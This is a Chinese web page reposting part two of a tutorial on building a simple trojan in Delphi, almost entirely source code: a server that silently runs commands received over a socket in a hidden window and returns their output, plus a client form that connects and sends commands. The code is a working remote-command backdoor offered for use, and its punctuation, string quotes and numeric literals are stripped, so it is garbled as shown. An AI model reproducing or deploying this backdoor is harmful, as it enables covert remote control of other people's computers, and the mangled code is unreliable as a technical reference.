其他语言

位置:IT落伍者 >> 其他语言 >> 浏览文章

Delphi下“培养”自己的简单木马[2]


发布日期:2021年01月01日
 
Delphi下“培养”自己的简单木马[2]

procedure TFmMainSSAccept(Sender: TObject; Socket: TCustomWinSocket);

begin

SocketSendText(连接成功); //发现有连接时回传连接成功

end;

procedure TFmMainSSClientRead(Sender: TObject; Socket: TCustomWinSocket);

var

RemoteCmd:string;

hReadPipehWritePipe:THandle;

si:STARTUPINFO;

lsa:SECURITY_ATTRIBUTES;

pi:PROCESS_INFORMATION;

cchReadBuffer:DWORD;

ph:PChar;

fname:PChar;

res:string;

begin

MemoClear;

remotecmd:=SocketReceiveText;

fname:=allocmem();

ph:=AllocMem();

lsanLength :=sizeof(SECURITY_ATTRIBUTES);

lsalpSecurityDescriptor :=nil;

lsabInheritHandle :=True;

if CreatePipe(hReadPipehWritePipe@lsa)=false then

begin

socketSendText(不能创建管道);

exit;

end;

fillchar(sisizeof(STARTUPINFO));

sicb:=sizeof(STARTUPINFO);

sidwFlags:=(STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW);

siwShowWindow:=SW_HIDE;

sihStdOutput:=hWritePipe;

StrPCopy(fnameremotecmd);

/////执行CMD命令////

if CreateProcess(nilfnamenilniltruenilnilsipi)=False then

begin

socketSendText(不能创建进程);

FreeMem(ph);

FreeMem(fname);

Exit;

end;

while(true) do

begin

if not PeekNamedPipe(hReadPipeph@cchReadBuffernilnil) then break;

if cchReadBuffer<> then

begin

if ReadFile(hReadPipeph^cchReadBuffernil)=false then break;

ph[cchReadbuffer]:=chr();

MemoLinesAdd(ph);

end

else

if(WaitForSingleObject(pihProcess )=WAIT_OBJECT_) then break;

Sleep();

end;

ph[cchReadBuffer]:=chr();

MemoLinesAdd(ph); //memo接收回显

CloseHandle(hReadPipe);

CloseHandle(pihThread);

CloseHandle(pihProcess);

CloseHandle(hWritePipe);

FreeMem(ph);

FreeMem(fname);

socketSendText(MemoText); ///将回显发送回客户端

end;

end

///////////////////////////////////////////////////////////////////////////////////////////

//////客户端/////////////////////

unit UtMain;

////////////////////////////////////

//////////BY lanyus////////////////

////////Email:greathjw@com////

////////QQ:////////////////

////////////////////////////////

interface

uses

Windows Messages SysUtils Variants Classes Graphics Controls Forms

Dialogs OleCtrls SHDocVw StdCtrls IdBaseComponent IdComponent

IdUDPBase IdUDPServer Buttons TLHelp ScktComp;

type

TFmMain = class(TForm)

WebBrowser: TWebBrowser;

Label: TLabel;

Edit: TEdit;

Label: TLabel;

Edit: TEdit;

Button: TButton;

CS: TClientSocket;

Edit: TEdit;

Label: TLabel;

Memo: TMemo;

BitBtn: TBitBtn;

procedure ButtonClick(Sender: TObject);

procedure CSRead(Sender: TObject; Socket: TCustomWinSocket);

procedure BitBtnClick(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

FmMain: TFmMain;

implementation

{$R *dfm}

procedure TFmMainButtonClick(Sender: TObject);

begin

CSHost:=EditText;

CSPort:=StrToInt(EditText);

CSOpen;

end;

procedure TFmMainCSRead(Sender: TObject; Socket: TCustomWinSocket);

begin

MemoClear;

MemoLinesAdd(SocketReceiveText);

MemoLinesAdd();

end;

procedure TFmMainBitBtnClick(Sender: TObject);

begin

CSSocketSendText(editText);

end;

end

[] []

               

上一篇:Delphi下“培养”自己的简单木马[1]

下一篇:Delphi编程访问注册表(一)